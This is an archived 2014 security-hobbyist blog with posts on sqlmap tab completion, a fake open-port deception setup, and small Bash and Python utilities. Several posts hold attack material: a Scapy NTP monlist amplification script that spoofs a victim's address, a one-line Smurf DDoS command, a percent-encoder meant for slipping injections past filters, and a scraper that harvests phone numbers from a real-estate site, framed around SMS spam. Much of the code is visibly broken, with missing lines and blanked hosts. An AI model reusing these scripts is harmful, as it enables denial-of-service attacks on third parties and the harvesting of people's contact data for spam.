Saturday, December 13, 2014

Bash Tab Completion for Awesome tool - SQLMap

Without a lot of words, i've made a bash completion for SQLMap tool.

First of all, make executable file in /usr/bin/ called sqlmap.
$ nano /usr/bin/sqlmap



Save it, chmod +x it and then copy all this stuff to /etc/bash_completion.d/sqlmap:
# bash completion for sqlmap by Korznikov Alexander 

tamper=$(locate |head -n1|cut -d'/' -f-3|awk '{print $1 "/tamper/"}' |xargs ls|grep -v "__" |sed ':a;N;$!ba;s/\n/ /g')
    local cur prev


    case $prev in
  # List directory content
     COMPREPLY=( $( compgen -W "$tamper" -- "$cur" ) )
     return 0
     return 0
     _filedir ini
     return 0
     COMPREPLY=( $( compgen -W 'GET POST PUT' -- "$cur" ) )
     return 0
     COMPREPLY=( $( compgen -W 'Basic Digest NTLM PKI' -- "$cur" ) )
     return 0
     COMPREPLY=( $( compgen -W 'HTTP SOCKS4 SOCKS5' -- "$cur" ) )
     return 0
     COMPREPLY=( $( compgen -W '1 2 3 4 5 6' -- "$cur" ) )
     return 0
     COMPREPLY=( $( compgen -W 'mysql mssql access postgres' -- "$cur" ) )
     return 0
     COMPREPLY=( $( compgen -W '1 2 3 4 5' -- "$cur" ) )
     return 0
     COMPREPLY=( $( compgen -W '0 1 2 3' -- "$cur" ) )
     return 0
     COMPREPLY=( $( compgen -W 'B E U S T Q' -- "$cur" ) )
     return 0
     _filedir sqlite
     return 0
     COMPREPLY=( $( compgen -W 'CSV HTML SQLITE' -- "$cur" ) )
     return 0
     _filedir xml
     return 0

    if [[ "$cur" == * ]]; then
    COMPREPLY=( $( compgen -W '-h --help -hh --version -v -d -u --url -l -x -m -r -g -c --method \
     --data --param-del --cookie --cookie-del --load-cookies \
     --drop-set-cookie --user-agent --random-agent --host --referer \
     --headers --auth-type --auth-cred --auth-private --ignore-401 \
     --proxy --proxy-cred --proxy-file --ignore-proxy --tor --tor-port \
     --tor-type --check-tor --delay --timeout --retries --randomize \
     --safe-url --safe-freq --skip-urlencode --csrf-token --csrf-url \
     --force-ssl --hpp --eval -o --predict-output --keep-alive \
     --null-connection --threads -p  --skip --dbms --dbms-cred \
     --os --invalid-bignum --invalid-logical --invalid-string \
     --no-cast --no-escape --prefix --suffix --tamper --level \
     --risk --string --not-string --regexp --code --text-only \
     --titles --technique --time-sec --union-cols --union-char \
     --union-from --dns-domain --second-order -f --fingerprint \
     -a --all -b --banner --current-user --current-db --hostname \
     --is-dba --users --passwords --privileges --roles --dbs --tables \
     --columns --schema --count --dump --dump-all --search --comments \
     -D -T -C -X -U --exclude-sysdbs --where --start --stop \
     --first --last --sql-query --sql-shell --sql-file --common-tables \
     --common-columns --udf-inject --shared-lib --file-read --file-write \
     --file-dest --os-cmd --os-shell --os-pwn --os-smbrelay --os-bof \
     --priv-esc --msf-path --tmp-path --reg-read --reg-add --reg-del \
     --reg-key --reg-value --reg-data --reg-type -s -t --batch \
     --charset --crawl --csv-del --dump-format --eta --flush-session \
     --forms --fresh-queries --hex --output-dir --parse-errors \
     --pivot-column --save --scope --test-filter --update \
     -z --alert --answers --beep --check-waf --cleanup \
     --dependencies --disable-coloring --gpage --identify-waf \
     --mobile --page-rank --purge-output --smart \
     --sqlmap-shell --wizard' -- "$cur" ) )     
    # this removes any options from the list of completions that have
    # already been specified somewhere on the command line, as long as
    # these options can only be used once (in a word, "options", in
    # opposition to "tests" and "actions", as in the find(1) manpage).
    onlyonce=' -h --help -hh --version -v -d -u --url -l -x -m -r -g -c \
     --drop-set-cookie --random-agent \
     --ignore-401 \
     --ignore-proxy --tor \
     --check-tor \
     --skip-urlencode \
     --force-ssl --hpp -o --predict-output --keep-alive \
     --null-connection -p \
     --invalid-bignum --invalid-logical --invalid-string \
     --no-cast --no-escape \
     --text-only \
     --titles \
     -f --fingerprint \
     -a --all -b --banner --current-user --current-db --hostname \
     --is-dba --users --passwords --privileges --roles --dbs --tables \
     --columns --schema --count --dump --dump-all --search --comments \
     -D -T -C -X -U --exclude-sysdbs \
     --sql-shell --common-tables \
     --common-columns --udf-inject \
     --os-shell --os-pwn --os-smbrelay --os-bof \
     --priv-esc --reg-read --reg-add --reg-del \
     -s -t --batch \
     --eta --flush-session \
     --forms --fresh-queries --hex --parse-errors \
     --save --update \
     -z --beep --check-waf --cleanup \
     --dependencies --disable-coloring --identify-waf \
     --mobile --page-rank --purge-output --smart \
     --sqlmap-shell --wizard '
    COMPREPLY=( $( \
           (while read -d ' ' i; do
            [[ -z "$i" || "${onlyonce/ ${i%% *} / }" == "$onlyonce" ]] &&
            # flatten array with spaces on either side,
            # otherwise we cannot grep on word boundaries of
            # first and last word
            COMPREPLY=" ${COMPREPLY[@]} "
            # remove word from list of completions
            COMPREPLY=( ${COMPREPLY/ ${i%% *} / } )
            printf '%s ' "${COMPREPLY[@]}") <<<"${COMP_WORDS[@]}"
          ) )
#    else
#        _filedir bat
} &&
complete -F _sqlmap sqlmap

Enjoy! Like and share :)

Monday, October 13, 2014

Every port is OPEN for security reasons.

Suppose you're a c00l hacker, and you need to scan for some system for open ports. What will you do? NMAP. Right?

You are scanning your victim and discovering some open ports:
80,135,445 etc. This will help you to choose your methodology of future enumeration, right?

With regular NMAP scan, like:
bt6# nmap
the target will be scanned, by default, for 1000 well known ports.

Stop for a second, and think if all of these ports will be open.

You, as a hacker, will stuck for some time, enumerating fake-open ports. Furthermore, it will be immediately logged in system.

My teacher gave this idea, and implementation with scapy.
The algorithm is simple:
Got SYN packet > Send back SYN-ACK with SEQ+1.
That was fine, but works in half of times. Not a production level.

Also, he told that he wasn't first that invented this method.
I've googled, and not found anything about that.

So, i've asked for help from kernel modules :)
IPTABLES - Port-forwarding.

What we'll need? 
1. Server that will respond to every incoming SYN packet.
2. IPTABLES or other firewall
3. IPSET (for use in iptables)
4. Real-time monitoring for adding/removing ports from SET.

You can open all ports, but i don't think it is necessary.
I will open only well-known ports of nmap. Everyone use nmap, don't think so?

First of all, DROP reset (RST) packet in OUTPUT table.
# iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST RST -j DROP
Why? If some port is closed, your system will not respond with RST packet back, and other reasons, like got SYN-ACK, or RST, etc.

Secondly, DROP ICMP packet 'destination unreachable' in OUTPUT table.
# iptables -A OUTPUT -p icmp -m icmp --icmp-type 3 -j DROP
We don't want to allow somebody to know about any closed port in our system.

Create a set in IPSET:
# ipset create set_name bitmap:port range 0-65535

Add your well-known ports to this set:
# ipset add set_name port_number

If you want to test your specific port, if it in the set:
# ipset test set_name 8888
8888 is in set set_name.

Need a well-known port list? take it:
# nmap -dd |grep -E 'syn-ack|no-response'|cut -d'/' -f1 > ports.txt
This will work if you dropped a RESET packet in first step.

Assuming, you know BASH a little, you will know how to code a simple script that will add all ports to set in one click.

Ok. IPSET SET is created, let's make a main IPTABLES rule:
# iptables -t nat -A PREROUTING -p tcp -m set --match-set set_name dst -j REDIRECT --to-ports 8888

You may ask: "What is port 8888?"
That's the point. It is your server script that is listening only on one port, and answering everyone with a connection!

If you don't know how to make a server, you can use 'socat' for example:
# socat TCP-LISTEN:8888,reuseaddr,fork -

Otherwise, you can improve this script for you:
#!/usr/bin/env python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

port = 8888

s.bind((host, port))


 while True:
   c, addr = s.accept()
   data = c.recv(2048)
   response = ''
   c.send("Welcome %s. Logged.\n" % addr[0])
except KeyboardInterrupt:

It will listen on 8888 port (chose yours), and will send back "Welcome IP_ADDR. Logged."

The output:
# nc 8888

Welcome Logged.

Proof of concept: Nmap (fast) scanning
# nmap -F

Starting Nmap 6.46 ( ) at 2014-10-13 03:06 IDT
Nmap scan report for
Host is up (0.0026s latency).
7/tcp     open     echo
9/tcp     open     discard
13/tcp    open     daytime
21/tcp    open     ftp
22/tcp    open     ssh
23/tcp    open     telnet
25/tcp    open     smtp
26/tcp    open     rsftp
37/tcp    open     time
53/tcp    open     domain
79/tcp    open     finger
80/tcp    open     http
81/tcp    open     hosts2-ns
88/tcp    open     kerberos-sec
106/tcp   open     pop3pw
110/tcp   open     pop3
111/tcp   open     rpcbind
113/tcp   open     ident
119/tcp   open     nntp
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
143/tcp   open     imap
144/tcp   open     news
179/tcp   open     bgp
199/tcp   open     smux
389/tcp   open     ldap
427/tcp   open     svrloc
443/tcp   open     https
444/tcp   open     snpp
445/tcp   open     microsoft-ds
465/tcp   open     smtps
513/tcp   open     login
514/tcp   open     shell
515/tcp   open     printer
543/tcp   open     klogin
544/tcp   open     kshell
548/tcp   open     afp
554/tcp   open     rtsp
587/tcp   open     submission
631/tcp   open     ipp
646/tcp   open     ldp
873/tcp   open     rsync
990/tcp   open     ftps
993/tcp   open     imaps
995/tcp   open     pop3s
1025/tcp  open     NFS-or-IIS
1026/tcp  open     LSA-or-nterm
1027/tcp  open     IIS
1028/tcp  open     unknown
1029/tcp  open     ms-lsa
1110/tcp  open     nfsd-status
1433/tcp  open     ms-sql-s
1720/tcp  open     H.323/Q.931
1723/tcp  open     pptp
1755/tcp  open     wms
1900/tcp  open     upnp
2000/tcp  open     cisco-sccp
2001/tcp  open     dc
2049/tcp  open     nfs
2121/tcp  open     ccproxy-ftp
2717/tcp  open     pn-requester
3000/tcp  open     ppp
3128/tcp  open     squid-http
3306/tcp  open     mysql
3389/tcp  open     ms-wbt-server
3986/tcp  open     mapper-ws_ethd
4899/tcp  open     radmin
5000/tcp  open     upnp
5009/tcp  open     airport-admin
5051/tcp  open     ida-agent
5060/tcp  open     sip
5101/tcp  open     admdog
5190/tcp  open     aol
5357/tcp  open     wsdapi
5432/tcp  open     postgresql
5631/tcp  open     pcanywheredata
5666/tcp  open     nrpe
5800/tcp  open     vnc-http
5900/tcp  open     vnc
6000/tcp  open     X11
6001/tcp  open     X11:1
6646/tcp  open     unknown
7070/tcp  open     realserver
8000/tcp  open     http-alt
8008/tcp  open     http
8009/tcp  open     ajp13
8080/tcp  open     http-proxy
8081/tcp  open     blackice-icecap
8443/tcp  open     https-alt
8888/tcp  open     sun-answerbook
9100/tcp  open     jetdirect
9999/tcp  open     abyss
10000/tcp open     snet-sensor-mgmt
32768/tcp open     filenet-tms
49152/tcp open     unknown
49153/tcp open     unknown
49154/tcp open     unknown
49155/tcp open     unknown
49156/tcp open     unknown
49157/tcp open     unknown
MAC Address: 00:0C:29:73:95:1C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds

Remains to solve only one problem. What if you want to open a port for some reason? like netcat...

We need a realtime monitoring for listening ports, and if the there appeared one or more new listen ports, we need to remove them from IPSET set. Otherwise if one or more listening ports disappeared, we have to add them to the SET.

A fast and dirty implementation of this:

from subprocess import check_output
import re
from time import sleep

set_name = 'rports'

def open_ports():
   netstat = check_output('netstat -tan',shell=True)
   lports = re.findall(r'(?<=\:)[0-9]{1,5}\w(?=.+listen)',netstat.lower())
   lports = list(set(lports))
   return lports

tmp_ports = []

while 1:
   openports = open_ports()
   new_open = list(set(openports) - set(tmp_ports))
   new_closed = list(set(tmp_ports) - set(openports))
   if len(new_open):
     for port in new_open:
       #print 'removing port %s from ipset' % port
       os.system('ipset del %s %s' % (set_name,port))
   if len(new_closed):
     for port in new_closed:
       #print 'adding port %d to ipset' % int(port)
       os.system('ipset add %s %s' % (set_name,port))
   tmp_ports = openports

This will run 'netstat -tan' and look for changes in LISTEN ports.

Code on github:

The idea - by Gil Rozenberg
Implementation with iptables/ipset - by Alexander Korznikov

nice to be a root#

Monday, September 15, 2014

URL encoder / Percent-encoding Like '%75%72%6C %65%6E%63%6F%64%69%6E%67' with Python.

With some injection techniques, we need sometimes to encode some string to URL-Encoded string (Percent-encoding).

I've found a lot of resources that can encode/decode your text to URL encoding.
All of them does not encoding ASCII characters, like 'A' or 'S' for example.

If you want to encode this: ['some text], you will get this: [%27some%20text].
And I want all that string to be encoded, including 'some' and 'text'.
Decided to make this in python.

What is %20? It is hexadecimal value of 'space'.
I will use method .encode('hex_codec').
>>> ' '.encode('hex_codec')

Append '%' to it's value, and woala, you've got URL encoded 'space' = %20

Here it is (just a function):
#recieve string >> return URL converted string
def encoder(strings):
   strings = strings.split(' ')
   lst = []
   for s in strings:
      b = ''
      for i in str(s):
         b = b+'%'+i.encode('hex_codec')
   all_string = ' '.join(lst).upper()
   return all_string

It should get a string, and return encoded string. (by the way, it will not encode spaces, i don't need it)

If you want a full working and colored script with upper/lower character randomization: 
#!/usr/bin/env python
#__author: Korznikov Alexander, aka nopernik

import sys
from random import randint

W = '\033[0m' # Text reset
G = '\033[32m' # green
R = '\033[31m' # red
B = '\033[34m' # blue

#recieve string >> return URL converted string
def encoder(strings):
   strings = strings.split(' ')
   lst = []
   for s in strings:
      b = ''
      for i in str(s):
         b = b+'%'+i.encode('hex_codec')
   all_string = ' '.join(lst).upper()
   return all_string

def randomize(data):
   s = ''
   for i in data:
      if randint(1,10) % 2: 
         s += i.lower()
         s += i.upper()
   return s
def main(data):
   rnd_data = randomize(data)
   print '\n(Original Decoded): \'%s%s%s\'' % (B,data,W)
   print '(Original Encoded): \'%s%s%s\'' % (G,encoder(data),W)
   print '\nRandomized Decoded: \'%s%s%s\'' % (R,rnd_data,W)
   print 'Randomized Encoded: \'%s%s%s\'\n' % (G,encoder(rnd_data),W)
if __name__ == '__main__':
   print '\n'+'-'*37+'\n URL Encoder, by Korznikov Alexander\n'+'-'*37
   if len(sys.argv[1:]) >= 1:
      main(' '.join(sys.argv[1:]))
      main(raw_input('\nEnter text to encode: '))
Example output:
# got some text

 URL Encoder, by Korznikov Alexander

(Original Decoded): 'got some text'
(Original Encoded): '%67%6F%74 %73%6F%6D%65 %74%65%78%74'

Randomized Decoded: 'GOt SoMe text'
Randomized Encoded: '%47%4F%74 %53%6F%4D%65 %74%65%78%74'

That's all.

Saturday, September 6, 2014

Count Packet per Second. (Bash)

Hi, today i needed to find out how many packets per second flows through the interface.
I understand that there available many variations of such scripts, but for me was faster to code a new one, than to find one that will do exactly what i need

I think the simplest way to find out how many packets pass the interface is to use 'ifconfig' command.

When you run it, you can see RX packets and TX packets.
eth0      Link encap:Ethernet  HWaddr d8:c2:44:32:ba:39  
          inet addr:  Bcast:  Mask:
          inet6 addr: fe80::2ad1:31ff:fe23:a455/64 Scope:Link
          RX packets:4420149 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2632000 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:6126039045 (6.1 GB)  TX bytes:202902499 (202.9 MB)
That info will extract with simple bash script:


if [ $1 ]
        echo -e "\n"
        echo -e "\n\tPPS: Packets Per Second."
        echo -e "\t------------------------"
        echo -e "\tUsage: $0 [interface]\n"
        exit 1

while :
        cnt=`expr $cnt + 1`
        rx=$(ifconfig $iface |grep "RX packets"|tr -s " "| cut -d" " -f3|cut -d":" -f2)
        tx=$(ifconfig $iface |grep "TX packets"|tr -s " "| cut -d" " -f3|cut -d":" -f2)
        sleep 1
        rx2=$(ifconfig $iface |grep "RX packets"|tr -s " "| cut -d" " -f3|cut -d":" -f2)
        tx2=$(ifconfig $iface |grep "TX packets"|tr -s " "| cut -d" " -f3|cut -d":" -f2)
        rxnow=`expr $rx2 - $rx`
        txnow=`expr $tx2 - $tx`
        rxtotal=`expr $rxnow + $rxtotal`
        txtotal=`expr $txnow + $txtotal`

        echo -n -e "RX: $rxnow, Avg: `expr $rxtotal / $cnt` | TX: $txnow, Avg: `expr $txtotal / $cnt`                       \r"

# ./pps

 PPS: Packets Per Second.
 Usage: ./pps [interface]

#./pps eth0

RX: 0, Avg: 12 | TX: 0, Avg: 7
That's all.

Monday, September 1, 2014

Add python tab completion in interactive shell

I've notices that Scapy has 'Tab' completions. So i want it to work in regular python shell.
All you need is to create a file '.pythonrc' and add this:
    import readline
except ImportError:
    print("Module readline not available.")
    import rlcompleter
    readline.parse_and_bind("tab: complete")

Next, add this file to PYTHONSTARTUP bash variable:
# echo "export PYTHONSTARTUP=~/.pythonrc" >> ~/.bashrc

Start python, press 'TAB' button, and see what you can do:
>>> import random
>>> random.
random.BPF                  random.__reduce__(          random.betavariate(
random.LOG4                 random.__reduce_ex__(       random.choice(
random.NV_MAGICCONST        random.__repr__(            random.division
random.RECIP_BPF            random.__setattr__(         random.expovariate(
random.Random(              random.__sizeof__(          random.gammavariate(
random.SG_MAGICCONST        random.__str__(             random.gauss(
random.SystemRandom(        random.__subclasshook__(    random.getrandbits(
random.TWOPI                random._acos(               random.getstate(
random.WichmannHill(        random._ceil(               random.jumpahead(
random._BuiltinMethodType(  random._cos(                random.lognormvariate(
random._MethodType(         random._e                   random.normalvariate(
random.__all__              random._exp(                random.paretovariate(
random.__class__(           random._hashlib             random.randint(
random.__delattr__(         random._hexlify(            random.random(
random.__dict__             random._inst                random.randrange(
random.__doc__              random._log(                random.sample(
random.__file__             random._pi                  random.seed(
random.__format__(          random._random              random.setstate(
random.__getattribute__(    random._sin(                random.shuffle(
random.__hash__(            random._sqrt(               random.triangular(
random.__init__(            random._test(               random.uniform(
random.__name__             random._test_generator(     random.vonmisesvariate(
random.__new__(             random._urandom(            random.weibullvariate(
random.__package__          random._warn(               
>>> random.
Isn't this cool? :)

Nice bash alias :)

Hi there, if you want to find out your IP address in terminal, it's annoying to type everytime:
# ifconfig eth0

Too much characters :)
Why not to add alias for that?
Let's edit '.bashrc' file, and add alias for that:
alias eth0='ifconfig eth0' 

Save & restart console and woala, just type 'eth0' and you've got the info.

I'll go further, and will make a script inside '.bashrc' file, that will add all interfaces for that automatically:
for line in $(echo $(ls /sys/class/net/) |tr -s ' '|tr ' ' '\n'); do
alias $line="ifconfig $line"

As you can see, the script looks into directory '/sys/class/net/' where listed all physical interfaces.

If you have 'wlan0' interface, you will be able to type:
and get the info.

As well, you can manipulate your interface through this command, like:
#eth0 down
Actually the command will be 'ifconfig eth0 down'

Tuesday, August 26, 2014

Amplified Denial of Service with Network Time Protocol (NTP)

Really, i don't know if i should write it here, but I think it will help the Internet to become more secure.

In next lines, I will find some NTP servers that can be used for Amplified Denial of Service attack.

What does that mean, Amplification? You send couple of bytes, and get response of thousand bytes.
NTP Servers for example. You can request from one, last 600 clients that used that server. You send one request, and as response you get tons of info.

If you will spoof senders IP, response will be received by spoofed IP. So, when you do that many times, you will eat all bandwidth of your target with UDP responses. DoS.

For example, you want that website like will go down for some time... Get his IP, spoof it in NTP request and woala! The problem to do so, is to find unpatched NTP servers online.

Really? Use nmap.

Take your provider's IP-Range (for example. you can choose another range), and scan it for open UDP 123 port.
# nmap -p123 -sU -n -Pn --open -oG ntp-servers.txt <your_target/netmask>
Trust me, it will find a lot of NTP servers online. Next, you will need to check them if they support 'monlist' request

I don't know the technique of verification, but you can notice some difference in NTP server responses. Patched NTP server will return one small packet, another will return a lot of packets ~500bytes each one. 

Let's take two servers (maybe they will be offline when you try): - Patched - Unpached

Trying patched server:
# scapy

>>>data=str("\x17\x00\x03\x2a") + str("\x00")*4
>>>a = sr1(IP(dst='')/UDP(sport=48947,dport=123)/str(data), timeout=0.5, verbose=0)
<IP  version=4L ihl=5L tos=0x0 len=76 id=0 flags=DF frag=0L ttl=48 proto=udp chksum
=0x9ca6 src= dst= options=[] |<UDP  sport=ntp dport=489
47 len=56 chksum=0xc08f |<Raw  load='\x1c\x00\x04\xfa\x00\x00\x00\x00\x00\x00\x00\x
xd7\xa6\x80~\x00\x00\x00\x00\xd7\xa6\x80~\x00\x00\x00\x00' |>>>
Trying unpatched server:
# scapy

>>>data=str("\x17\x00\x03\x2a") + str("\x00")*4
>>>a = sr1(IP(dst='')/UDP(sport=48947,dport=123)/str(data), timeout=0.5, verbose=0)
<IP  version=4L ihl=5L tos=0x0 len=468 id=41631 flags=DF frag=0L ttl=48 proto=udp ch
ksum=0xf5c3 src= dst= options=[] |<UDP  sport=ntp dport=4
8947 len=448 chksum=0xb60b |<Raw  load='\xd7\x00\x03*\x00\x06\x00H\x00\x00\x01\xd8\x
\x01^f1\xa8\x00{\x07\x02' |>>>

The difference that i will use - packet length. If response length is greater (let say) 150, then the server supports 'monlist' request.  If you know a better way of verification, let me know in comments...
#!/usr/bin/env python
import sys
from scapy.all import *
from time import sleep
from threading import Thread,enumerate
import random


   data=str("\x17\x00\x03\x2a") + str("\x00")*4   #monlist request

   #shell argument parsing
   if '--victim' in sys.argv:
      target = sys.argv[sys.argv.index('--victim') + 1]
      target = conf.route.routes[-1][-1]   #find out your IP address

   if '-f' in sys.argv:
      inputfile = sys.argv[sys.argv.index('-f') + 1]
      inputfile = sys.argv[1]

   def ntp_check(ntpserver,target):
         a = sr1(IP(dst=str(ntpserver),src=target)/UDP(sport=random.randomint(1024,65535),dport=123)/str(data), timeout=0.5, verbose=0)
         if a[IP].len > 150:
            print '%s is VULNERABLE' % ntpserver
   with open(inputfile) as srv_list:
      for ntpserver in
            t = Thread(target=ntp_check, args=(ntpserver,target))
      while len(enumerate()) > 1:
   print '\n\tUsage: %s -f srv_list.txt [--victim ]\n' % sys.argv[0]
   print sys.exc_info()
If you understand what i've coded, you can easily upgrade this code with multiprocessing module, using multiprocessing template.

For those who owns unpatched NTP Servers, there are at least three ways to patch it:
1. Update ntpd to version 4.2.7p26. In FreeBSD update ports and install ntpd from net/ntp-devel.
2. Disable monlist in ntp.conf, adding a line:
disable monitor
3. Or disable any status queries in restrict default:
restrict default kod nomodify notrap nopeer noquery
restrict -6 default kod nomodify notrap nopeer noquery

Maybe, you didn't know, that you server is accessible from outside :)

Wednesday, August 13, 2014

Multiprocessing Python Template.

Hi there.
Today I often use multiprocessing module, and i needed some template to write scripts a little faster..

Hope it will be useful to you.
#!/usr/bin/env python
#Multiprocessing template

from multiprocessing import Pool,cpu_count,active_children,Lock
import signal
from time import sleep
import sys

class TimeoutException(Exception):
    """ Simple Exception to be called on timeouts. """

def _timeout(signum, frame):
    """ Raise an TimeoutException.

    This is intended for use as a signal handler.
    The signum and frame arguments passed to this are ignored.

    # Raise TimeoutException with system default timeout message
    raise TimeoutException()

# Set the handler for the SIGALRM signal:
signal.signal(signal.SIGALRM, _timeout)
# Send the SIGALRM signal in 10 seconds:

# Multiprocessing with KeyboardInterrupt
def init_worker():
        signal.signal(signal.SIGINT, signal.SIG_IGN)
def $$somefunc$$($$args$$):

                signal.alarm(5)                 #timeout exception
                $$do something$$
                return $$some data$$
        except Exception:
        except TimeoutException:
                print 'It timed out!'

def main():
                def cb(data):
                        if data:
                                $$do something with returned data$$
                pool = Pool(processes=cpu_count()*10, initializer=init_worker) #processes = CPU*10 = 40 (if 4 CPUs)
                for i in $$some_list$$:
                        pool.apply_async($$somefunc$$, ($$args$$,), callback=cb) #callback function defined above

                #wait for worker processes completes job 
                while len(active_children()) > 1:
        # ^C will kill all running processes and return to main function
        except KeyboardInterrupt:
                print " Terminating..."
                print sys.exc_info()

By the way, instead of callback() function, shared memory can be managed by Manager() module.

Manager module type support: list, dict, Namespace, Lock, RLock, Semaphore, BoundedSemaphore, Condition, Event, Queue, Value and Array.

Set as global variable:
manager = Manager.list()
lock = Lock()   #pass this lock to worker process

Call in running process:
with lock:   

#the lock is necessary, because of two processes can try to read the same value before editing it.

Maybe it's a mess for you, but maybe it will help.

Phone numbers harvesting from website. (Python)

Hi there.
If you ever though about such a nasty thing like SMS spamming, you had need a phone number database to do that.
Or you just want to call them?

I will show you one technique to harvest phone numbers from... hmm - that will be enough.

Let's say, you need all phone numbers that involved in real estate ok?
So, we go to the homeless web site, and see column called 'מכירה תיווך', and URL for that:

If you look closer, you can find the 'details' section (לפרטים) on the left side of the ad.
If you click here, new popup window will be opened with link like:,367948.aspx

Something is coming to your head? Any thoughts?

All we need, is to grab all AD numbers from the main URL (including all secondary pages), and parse every VEWAD.URL for extracting phone numbers.

If you can see, there is not only one page of ads, there are about 130 pages.
The difference in URL: number of page is added after the main URL:[1-10]

Let's do it automatically with python:
First of all, will determine how many pages we need to parse:

Take a closer look at the source:

Will extract total number of pages with BeautifulSoup library:

from bs4 import BeautifulSoup
import urllib2
import re

path_name = 'saletivuch'

r = urllib2.urlopen('' % path_name)
if r.code == 200:
   got_url =
   soup = BeautifulSoup(got_url)

   #determine how many pages we have to get:

   #In one line it will look like this:   
   #pages = [i.get('value') for i in BeautifulSoup(str(soup.find_all('select',{'id':'jump_page'}))).find_all('option')]

   #But i will write it in a more understandable format:   
   jump_page_id = str(soup.find_all('select',{'id':'jump_page'}))

   soup2 = BeautifulSoup(jump_page_id)
   pages = []

   for i in soup2.find_all('option'):
   print '%d pages to parse' % len(pages)

Let's extract ad.ID from every page:

   #get every ad.Number from every page:
   ads = []
   for i in pages:
         r = urllib2.urlopen('' % (path_name,i))
         inner_url =
         soup = BeautifulSoup(inner_url)
         #one line will look like this:
         #ads += [r.get('id').split('_')[1] for r in soup.find_all('tr',{'class':'ad_details'})]

         for num in soup.find_all('tr',{'class':'ad_details'}):
            print 'Total ads collected: %d' % len(ads)
      # added ^C exception if you don't want to wait 130 pages :)      
      except KeyboardInterrupt:
   print 'total ads collected: %d' % len(ads)

Extract phone numbers from '/viewad,XXXXXX.aspx' page:
There is no special 'class' or 'id' to lock on, so will grab them with regex:
   #Extract phone numbers from every AD.

   phones = []
   for i in ads:
         r = urllib2.urlopen(',%s.aspx' % i)
         got_ad =

         #you should remember that re.findall() returns list of matches
         #so we can just extend the main list with new one

         phones += re.findall(r'\b0[2-9][0-9]?-?[0-9]{7}\b',got_ad)

         print 'Total phone numbers collected: %d' % len(phones)
      except KeyboardInterrupt:
   for i in phones: print i,

Threading/Multiprocessing adding is necessary, otherwise you will wait a lot of time for job completion.

REMEMBER: SPAM IS ILLEGAL and I'm NOT responsible for how do you use the information covered in this post, or part of it!

Thursday, August 7, 2014

Creating a black-list of IP's for iptables. (Python)

Hi there.
Let's create a blacklist of IP's for iptables firewall. In Python.
Last week the homework was to create a black-list 'object' of IPSET for iptables firewall.

Really, don't know if someone of my classmates has done this, so i asked my teacher for if I can post it here. Maybe it will help someone to understand how to do that.

What we need to do, is to parse all IP addresses from sources below:

It's a simple algorithm:
1. Read URL's in loop.
2. Extract needed data
3. Append it to some list
4. Create new SET in IPSET (if needed)
5. Apply all data to IPSET 
When you take a look at the sources one-by-one, you can notice, that there are two variations of data to parse:
1. IP Address
2. IP Network

Fine. I think, the easiest way to extract this data is regular expressions (regex).

First what we need to do: list variable with allllll URL's:
Can be done with opening file, or just create a variable:
# Your links with blacklisted IP's
links = '''
Note, that there is one commented URL, this one is not working. You can delete it, or just parse '#' character. (see below)

Next, will load URL, and parse it.
I like Python Requests module, you can use urllib module:
import requests
from netaddr import *

ip_list = []

# Get & Extract IP addresses function
def geturl(i):
      global ip_list
      print 'Parsing \'%s\'' % i
      r = requests.get(i)
      #if status code 200
      if r.ok:
         ip_list += [IPNetwork(i) for i in re.findall(r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/?[0-9]{1,2}?\b',r.content)]

Let me explain some BOLD points:

1. First of all, maybe you don't know how to make a for loop in one line: 

For example, next two pieces of code are identical:
tuple_list = [('abc',123),('def',456),('ghi',789)]

new_list = []

for i in tuple_list:
tuple_list = [('abc',123),('def',456),('ghi',789)]

new_list = [i[0] for i in tuples_list]

2. re.findall() method: It will return LIST type. So we can loop in it.
3. IPNetwork() is method from netaddr module, that will: 
    a) check if the IP Address is valid; 
    b) Append to it netmask /32 if single IP.
4. HTTP Status CODE. If you don't know what HTTP Status code is, you have a huge gap in your knowledge. Read here.
5. requests.get() method of requests module, that will load your URL. r.content = raw data from that URL
6. Last one is first one: global ip_list. This mean that in that specific function 'ip_list' variable will be global and not local variable.

# Get every URL in loop, IGNORE commented lines, extract every IP including subnet mask e.g. ''

for i in links.split():
   if not i[0] == '#':      #ignore commented line
Pretty easy, huh?

And the last piece of code:
ip_list = cidr_merge(ip_list)
It is amazing function that will merge IP addresses to subnets!
For example: and will be merged to

About applying all the data to IPSET, but replace 'hash:ip' with 'hash:net'

For educational purposes I will not post FULL CODE. You can easily make your's from the examples above.

Good Luck. A.K.

P.S. Hope your list[] of knowledge has been .updated :)

Wednesday, August 6, 2014

Angry Smurfs. Distributed Denial-of-Service Attack

Today we've learned about network attacks. One of them was "Smurf Attack"

From Wiki:
The Smurf Attack is a distributed denial-of-service attack in which large numbers of Internet Control Message Protocol (ICMP) packets with the intended victim's spoofed source IP are broadcast to a computer network using an IP Broadcast address. Most devices on a network will, by default, respond to this by sending a reply to the source IP address. If the number of machines on the network that receive and respond to these packets is very large, the victim's computer will be flooded with traffic. This can slow down the victim's computer to the point where it becomes impossible to work on. Wikipedia

On the lesson we writed a code in Python Scapy and I've done first:

from scapy.all import *
import sys

def send_packet(a):
def main():

   for i in a[0]:

if __name__ == '__main__':
Just run it with target IP in parameter. For test purposes only :)

After the lesson, i've told to my friend Viktor, that it's possible to write this script in one line in interactive shell. He told me that is maximum two lines.

Challenge accepted! :) And the result:
>>>send(IP(src='',dst=[i[0].pdst for i in arping('')[0]])/ICMP()) 
Выкуси! :)

Thursday, July 31, 2014

Extreme secured system in 3 lines with iptables ;)

If you want to secure your system as hard as possible, type this in terminal:
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP

That's all! You've got a SUPER SECURED SYSTEM! :)

If you don't know what are you doing, learn it! :)

IPSET. Creating white-list for apt-get updates.

Today we've learned about IPSET, an extension for iptables firewall.
The homework was to write a script on python, that will do:

1. Find out all apt-get sources.
2. Get IP's from domain names
3. Create/Update IPSET set.

It is too painful to do it in python. I've done it in bash:
name="apt-white"      #change it for your needs
function makeset(){
 check=$(sudo ipset list $name |grep -o $name)
 if [[ ! "$check" == "$name" ]]
